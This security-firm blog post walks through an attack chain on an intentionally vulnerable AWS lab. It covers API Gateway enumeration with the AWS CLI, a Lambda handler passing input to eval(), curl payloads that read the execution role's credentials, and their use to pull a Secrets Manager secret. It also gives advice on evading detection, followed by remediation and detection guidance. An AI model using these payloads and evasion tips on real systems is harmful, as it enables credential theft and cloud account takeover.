Serverless, Not Riskless: Exploiting Unauthenticated API Gateways in AWS

BLOG

Over the past year, GuidePoint’s Threat and Attack Simulation (TAS) team has assessed client environments of every size and the same lesson keeps repeating: the deeper a company goes into the cloud, the more room it creates for misconfigurations that lead to significant exposure.

TL;DR – Unauthenticated Amazon Web Services Application Programming Interface (AWS API) Gateway endpoints backed by over-premissioned Lambda functions create a repeatable attack chain from a single HTTP request to credential extraction with no AWS credentials required.

Key Takeaways:

  • API Gateway defaults set authentication to NONE unless explicitly configured, making exposed endpoints immediate entry paths.
  • If a user input reaches a code execution path, temporary identity and access management (IAM) credentials can be read and returned through an HTTP response.
  • In an attack chain walkthrough, it becomes evident that the entire chain, including enumeration, code review, injection and credential theft, runs through the AWS CLI with no exploit tooling. 

What Are the Exploitable Misconfigurations in AWS Lambda and API Gateway?

Organizations are deploying countless Lambda functions behind API Gateway endpoints, providing both flexibility and speed in feature delivery. The problem is, many of the internal components of this architecture default to insecure configurations that propagate across rapidly growing environments. The result is an environment where misconfigurations can quietly exist across dozens of functions and endpoints, often going undetected until they are actively exploited.

To understand the attack surface, it helps to first understand the key components of this architecture and how they interact: 

AWS Lambda

AWS Lambda is a serverless compute service. You upload a function (Python, Node, Java, Go, etc.) and AWS runs it on demand without you managing any underlying servers. Three properties matter offensively:

  • Execution Role: An IAM role attached to the function that defines what AWS services it can call. Every Lambda has one. The function runs as this role and its temporary credentials are injected into the execution environment as AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY and AWS_SESSION_TOKEN.
  • Environment Variables:  Key-value pairs baked into the function at deploy time. Developers routinely store database connection strings, API keys and Secrets Manager ARNs here.
  • VPC Configuration: A Lambda can optionally run inside a VPC, giving it network access to private resources like RDS instances, ElastiCache and internal services.

API Gateway

API Gateway is AWS’s managed service for exposing HTTP endpoints. It sits in front of your backend and routes incoming requests to Lambda functions. There are two common types you will see with Lambda functions.

Type

Description

REST API (v1)

The original, most feature-rich type. Supports per-method authorization, request validation, usage plans and API keys.

HTTP API (v2)

Newer, cheaper, lower latency. Supports JWT and Lambda authorizers. Simpler to configure.

URL Structure

Every API Gateway endpoint follows a predictable URL pattern.

https://<api-id>.execute-api.<region>.amazonaws.com/<stage>/<resource>

Component

Description

<api-id>

10-character alphanumeric identifier assigned at creation

<region>

AWS region

<stage>

Named deployment environment, e.g. prod, staging, dev, v1

<resource>

Path defined in the API

Authorization Types

AWS does not enforce authentication on API Gateway by default. When a new method is created, authorizationType is NONE unless they explicitly configure otherwise. There is no account-level policy that requires auth on all APIs and no SCP that blocks deployment of unauthenticated methods by default. The responsibility is entirely on the developer.

Each method (GET, POST, etc.) on each resource path has an authorizationType setting. The options are shown below. NONE is the default and is the setting that makes everything in this post possible.

authorizationType

What It Means

NONE

No authentication required — anyone who can reach the endpoint can invoke it

AWS_IAM

Caller must sign the request with valid AWS credentials (SigV4)

COGNITO_USER_POOLS

Caller must present a valid Cognito JWT

CUSTOM

A Lambda authorizer validates the request token

Walking Through the Attack Chain: Steps to Exploit Unauthenticated API Gateways

The GuidePoint Security TAS team performed the following walkthrough against an intentionally vulnerable lab environment built to replicate commonly observed cloud misconfigurations including missing authentication controls, insecure lambda coding design and overly scoped AWS IAM permissions. All commands were executed with a ReadOnly IAM role for enumeration, transitioning to unauthenticated HTTP requests for exploitation.

Step 1: Enumerate REST APIs

Using the AWS CLI with ReadOnly credentials, we query API Gateway to list every REST API deployed in the us-east-1 region. A regional endpoint means the API is served directly from a single AWS region rather than through CloudFront, which is relevant for understanding the attack surface but does not affect exploitability here.

				
					# aws apigateway get-rest-apis \
  --region us-east-1 \
  --query 'items[*].{ID:id,Name:name,Type:endpointConfiguration.types[0]}' \
  --output table

----------------------------------------------
|                GetRestApis                 |
+-------------+-----------------+------------+
|     ID      |      Name       |   Type     |
+-------------+-----------------+------------+
|  7793fgpqri |  vuln-lab-api   |  REGIONAL  |
----------------------------------------------

				
			

Step 2: Enumerate Stages

In API Gateway, a stage represents a named snapshot of a deployed API such as dev, staging or prod. Each stage has its own URL and can have its own configuration, throttling settings and logging behavior. Using the API ID we discovered in Step 1, we query for all deployed stages. The output includes the stage name and the last time the stage was updated, which can give useful context about how recently the API was touched. In this example the active stage is prod, but it is worth noting that lower environments such as dev or staging are frequently configured with even fewer restrictions, making them attractive targets in their own right. Regardless of the stage name, any deployment carrying these misconfigurations is equally exploitable.

				
					# aws apigateway get-stages \
  --rest-api-id 7793fgpqri \
  --region us-east-1 \
  --query 'item[*].{Stage:stageName,LastDeploy:lastUpdatedDate}' \
  --output table

----------------------------------------
|               GetStages              |
+-----------------------------+--------+
|         LastDeploy          | Stage  |
+-----------------------------+--------+
|  2026-07-17T18:49:19+00:00  |  prod  |
+-----------------------------+--------+
				
			

Step 3: Resources and Check Auth

Now that we know the API exists and is live, we need to understand what URL paths it exposes and whether any of them require authentication. In API Gateway, a resource is a URL path and each resource can have one or more HTTP methods (GET, POST, etc.) attached to it. Each method has its own authorization settings, which is where misconfigurations most commonly appear. To enumerate this, we first will start by enumerating all resource paths and loop through each identified resource to check authentication type, API key requirements and backend integration.

				
					# for resource_id in $(aws apigateway get-resources \
  --rest-api-id 7793fgpqri \
  --region us-east-1 \
  --query 'items[?resourceMethods].id' \
  --output text); do
    aws apigateway get-method \
      --rest-api-id 7793fgpqri \
      --resource-id $resource_id \
      --http-method GET \
      --region us-east-1 \
      --query '{Auth:authorizationType,KeyRequired:apiKeyRequired,Backend:methodIntegration.uri}' \
      --output table 2>/dev/null
done

+------+---------------------------------------------------------------+--------------+
| Auth |                          Backend                              | KeyRequired  |
+------+---------------------------------------------------------------+--------------+
|  NONE|  ...function:vuln-lab-get-user-data/invocations               |  False       |
+------+---------------------------------------------------------------+--------------+
+------+---------------------------------------------------------------+--------------+
|  NONE|  ...function:vuln-lab-process-report/invocations              |  False       |
+------+---------------------------------------------------------------+--------------+
+------+---------------------------------------------------------------+--------------+
|  NONE|  ...function:vuln-lab-search-records/invocations              |  False       |
+------+---------------------------------------------------------------+--------------+

				
			

Step 4: Retrieving Lambda Source Code

Knowing that the endpoints are unauthenticated is significant, but the real question is whether these endpoints process user-supplied input in an unsafe way. AWS Lambda allows you to retrieve the actual deployment package for any function using the get-function call which is included in a standard ReadOnly account. This returns a pre-signed S3 URL pointing directly to the ZIP file containing the function’s source code.

				
					# aws lambda get-function \
  --function-name vuln-lab-get-user-data \
  --region us-east-1 \
  --query 'Code.Location' \
  --output text

https://prod-tasks.s3.us-east-1.amazonaws.com/snapshots/<ACCOUNT_ID>/vuln-lab-get-user-data-<REDACTED>
				
			

We download the ZIP file using the pre-signed URL and extract its contents.

				
					# curl -s "<presigned-url>" -o function.zip

# unzip -p function.zip index.py

				
			

Step 5: Code Analysis

With the source code in hand, we can review exactly what the Lambda function does with the input it receives. Review of the Lambda source code reveals user-supplied input passed directly to Python's eval() with no sanitization. 

				
					# cat index.py
def handler(event, context):
    params = event.get('queryStringParameters') or {}
    user_input = params.get('user', 'admin')

    try:
        result = eval(user_input)  # <-- vulnerability
        return {
            'statusCode': 200,
            'body': json.dumps({
                'endpoint': 'get-user-data',
                'user': user_input,
                'result': str(result)
            })
        }



				
			

Step 6: Inject and Extract Execution Role Credentials

Now that we have identified all four components of the API Gateway URL structure with the REST API ID (7793fgpqri), the region (us-east-1), the stage (prod) and the resource path (/vulnerable/get-data), we can construct the full endpoint URL. From this point forward, no AWS credentials are needed. All exploitation happens through plain HTTP requests to the public, unauthenticated endpoint at https://7793fgpqri.execute-api.us-east-1.amazonaws.com/prod/vulnerable/get-data.

When AWS Lambda executes a function, it automatically injects temporary IAM credentials into the function’s environment as standard environment variables: AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY and AWS_SESSION_TOKEN. These credentials belong to the execution role, which defines what AWS services and resources the function is permitted to access. If we can read those environment variables, we can impersonate that role entirely. Because the user parameter is passed to eval(), we can craft payloads that use Python’s __import__ function to load the os module and read environment variables directly. All three credential components are returned in the HTTP response body.

				
					# curl -s -G "https://7793fgpqri.execute-api.us-east-1.amazonaws.com/prod/vulnerable/get-data" \
  --data-urlencode "user=__import__('os').environ['AWS_ACCESS_KEY_ID']"

{"endpoint": "get-user-data", "user": "__import__('os').environ['AWS_ACCESS_KEY_ID']", "result": "ASIA<REDACTED>"}

# curl -s -G "https://7793fgpqri.execute-api.us-east-1.amazonaws.com/prod/vulnerable/get-data" \
  --data-urlencode "user=__import__('os').environ['AWS_SECRET_ACCESS_KEY']"

{"endpoint": "get-user-data", "user": "__import__('os').environ['AWS_SECRET_ACCESS_KEY']", "result": "5ZGr<REDACTED>"}

# curl -s -G "https://7793fgpqri.execute-api.us-east-1.amazonaws.com/prod/vulnerable/get-data" \
  --data-urlencode "user=__import__('os').environ['AWS_SESSION_TOKEN']"

{"endpoint": "get-user-data", "user": "__import__('os').environ['AWS_SESSION_TOKEN']", "result": "IQoJb<REDACTED>"}

				
			

Step 7: Export Credentials and Confirm Identity

We export the three credential values as environment variables, which causes the AWS CLI to automatically use them for all subsequent requests. We then call the AWS CLI command, sts get-caller-identity, which returns information about the IAM principal that we are currently authenticated as.

				
					# export AWS_ACCESS_KEY_ID=<REDACTED>
# export AWS_SECRET_ACCESS_KEY=<REDACTED>
# export AWS_SESSION_TOKEN=<REDACTED>

# aws sts get-caller-identity

{
    "UserId": "<REDACTED>:vuln-lab-get-user-data",
    "Account": "<ACCOUNT_ID>",
    "Arn": "arn:aws:sts::<ACCOUNT_ID>:assumed-role/vuln-lab-lambda-execution-role/vuln-lab-get-user-data"
}
				
			

Step 8: Access Secrets Manager

With a valid AWS session tied to the Lambda execution role, we can now make authenticated calls to any AWS service that role is permitted to access. AWS Secrets Manager is a common target in this scenario as it is the service most organizations use to store sensitive credentials like database passwords, API keys and connection strings and Lambda functions are frequently granted access to it so they can retrieve what they need at runtime.

We call get-secret-value against a secret named vuln-lab/database/master to identify credentials.

				
					# aws secretsmanager get-secret-value \
  --secret-id vuln-lab/database/master \
  --region us-east-1

{
    "ARN": "arn:aws:secretsmanager:us-east-1:<ACCOUNT_ID>:secret:vuln-lab/database/master-fbQq6G",
    "Name": "vuln-lab/database/master",
    "SecretString": "{\"username\":\"dbadmin\",\"password\":\"SuperSecret123!\",\"host\":\"prod-db.internal\",\"port\":5432,\"db\":\"appdb\"}"
}
				
			

Considerations

While this walkthrough used a ReadOnly IAM role for the enumeration phase, it is important to recognize that the credentials were never a hard requirement for exploitation. The enumeration steps simply allowed us to map the attack surface more efficiently. In practice, if a single API endpoint URL were exposed through a leaked configuration file, a public GitHub repository or a JavaScript file served by a web application, an attacker with no AWS credentials whatsoever could skip directly to Step 6 and begin injecting payloads against the unauthenticated endpoint. 

It is also worth noting that this walkthrough focused specifically on Python’s eval() function as the injection point, but this represents just one example of a much broader class of vulnerabilities. Code injection can manifest in dozens of ways depending on the language and framework in use, but the end goal in a cloud environment is often the same, reading the execution environment’s credential variables. The underlying principle is the same in every case, where user-supplied input is being processed by the application in a way that allows it to be interpreted as code rather than data. This pattern, combined with an unauthenticated API endpoint and an over-permissioned execution role, creates the same chain of compromise demonstrated here.

Expanding the Attack Chain

The attack chain demonstrated here ends with execution role credentials and access to whatever that role can reach, but depending on the permissions attached to that role, the impact can extend well beyond retrieving a database secret. If the execution role carries iam:PassRole alongside lambda:CreateFunction or lambda:UpdateFunctionConfiguration, an attacker can attach a higher-privileged role to a Lambda function and use it to escalate to full account control. If the role has broad IAM permissions or an attached AdministratorAccess policy, the extracted credentials provide unrestricted access to every resource in the account. Even without elevated IAM permissions, lambda:UpdateFunctionCode allows an attacker to replace the code of any Lambda function in the account, providing persistence that survives a patch of the original vulnerability. These are just a few examples of how the chain can grow; however, the true scope of what is possible is entirely dependent on how the environment is configured and no two environments look the same.

Detection, Remediation and OPSEC Considerations

Operating against Lambda-backed API Gateway endpoints generates several distinct log streams and the misconfigurations that enabled this attack chain are all addressable. The following covers both how this activity would appear to a defender and what should be done to prevent it.

Remediation

This attack chain is the product of three distinct misconfigurations stacked on top of each other and resolving any one of them breaks the chain entirely.

  • Require authentication on all API Gateway endpoints. Every endpoint that does not explicitly need to be public should require authentication, whether that is AWS IAM authorization, a Lambda authorizer or Amazon Cognito. Unauthenticated endpoints are a significant risk even before any application-level vulnerability is considered and all stages including dev and staging should be held to the same standard as production.
  • Never pass user-supplied input to dynamic code execution functions. Functions like eval() and exec() should never receive input that originates from an end user. Input should be validated against a strict allowlist of expected values before it is used anywhere in application logic and code reviews should treat any use of these functions as an automatic finding requiring justification.
  • Scope Lambda execution roles to least privilege. Lambda execution roles should be granted only the specific permissions the function genuinely requires to perform its intended task. A function that reads from a single DynamoDB table has no business having access to Secrets Manager, IAM or other Lambda functions. Regularly auditing execution role permissions and removing anything that is not actively needed significantly reduces the blast radius of any future compromise.

CloudWatch Lambda Invocation Logs

Every Lambda invocation generates a log entry by default in /aws/lambda/<function-name>. Any payload that gets passed to the lambda function will be logged here. Anomalous invocation patterns will trigger alerts if the client has GuardDuty or a SIEM ingesting CloudWatch. The presence of a X-Amzn-Trace-Id header in response means that X-Ray tracing is active and detailed execution traces are being captured.

API Gateway Access Logs

API Gateway access logging is not enabled by default; however, when opted in, it captures source IP, user agent, request path, HTTP method, response code and latency. Custom domain names in front of API Gateway may have additional WAF logging.

CloudTrail Credential Use

Every AWS API call made with extracted execution role credentials is logged in CloudTrail with source IP, user agent, timestamp and request parameters. Calling secretsmanager:GetSecretValue or s3:GetObject from a residential IP in a different country is an immediate high confidence alert. Using these extracted credentials from infrastructure that matches the expected call patterns such as another Lambda or an EC2 instance in the same VPC could help to obfuscate your traffic.

Invocation Frequency

Depending on the functionality of the Lambda function and expected usages, CloudWatch alarms may trigger alerts if, for example, a function normally receives 10 requests per day but spikes to 10,000 on the day. These alerts may lead to throttling of invocations by a SOC team.

GuardDuty

GuardDuty has specific findings relevant to this attack chain:

  • UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration: fires when Lambda credentials are used from an IP outside AWS
  • CredentialAccess:Lambda/AnomalousBehavior: fires when a Lambda execution role is used in an unusual pattern
  • PrivilegeEscalation:IAMUser/AdministrativePermissions: fires on iam:PassRole abuse patterns

Conclusion

Every step in this attack chain used either standard AWS CLI commands or unauthenticated HTTP requests. The entire path, from discovering an API Gateway endpoint to extracting execution role credentials and accessing Secrets Manager, runs on defaults and misconfigurations that exist across production environments right now.

That's the uncomfortable reality of serverless security. The architecture removes the many infrastructure security concerns, but the identity layer, permissions model and application logic all carry their own risk of exposure. When those exposures stack, a single URL becomes the entry point to an organization's most sensitive resources.

GuidePoint's Cloud Penetration Testing services help find the risks in your cloud environment before an attacker can use them as entry points. Schedule an assessment and find out what's reachable from the outside in.

Tools and References

Security Consultant
GuidePoint Security

Sara Pearlman, Security Consultant, began her career in the technology and security industry in 2021. Her professional experience includes software development and security assessments, specializing in network, cloud and application penetration testing. She has led and participated in vulnerability assessments and penetration testing throughout the world for industries such as banking, commercial, healthcare organizations. Sara’s extensive experience in network security assessments includes perimeter, network, social engineering, mobile, AWS/Azure/GCP cloud testing, application testing and email system assessments. Sara earned a Master of Science degree in Cyber Investigations and Intelligence from Robert Morris University and a Bachelor of Science degree in Computer Science from California University of Pennsylvania and holds several certifications to include the Practical Network Penetration Tester (PNPT), Certified Azure Red Team Professional (CARTP) and AWS Red Team Apprentice (ARTA).